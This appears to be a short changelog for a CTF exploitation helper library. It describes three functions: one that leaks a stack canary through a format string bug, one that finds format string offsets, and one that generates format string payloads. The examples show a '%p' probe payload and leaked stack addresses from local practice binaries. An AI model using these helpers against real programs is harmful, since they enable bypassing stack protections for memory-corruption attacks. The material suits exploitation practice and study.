Newest

New function:

• fmt_canary

  A way that get canary without gdb by hand.

  e.g.

  Canary = fmt_canary('./stackmat')
  print(Canary)
  
  [x] Starting local process './stackmat'
  [+] Starting local process './stackmat': pid 12686
  Canary's offset is at %11$p
  [*] Switching to interactive mode
  Do you kown canary
  

• fmtstraux

  A useful tool to get format string offset.

  e.g.

  [+] Starting local process './ezstack' argv=[b'./ezstack'] : pid 12749
  [DEBUG] Sent 0x27 bytes:
     b'AAAAAAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p\n'
  [DEBUG] Received 0xa3 bytes:
     b'AAAAAAAA-0x7ffe555e9120-0x100-0x7f41cf18b1f2-(nil)-0x7f41cf29cd60-0x7f41cf26e2e8-0x240055fd83000aa0-0x4141414141414141-0x252d70252d70252d-0x2d70252d70252d70\n'
     b'--+--\n'
  8
  [*] Switching to interactive mode
  --+--
  

• fmtgen

  A useful tool to generate specific fmt payload.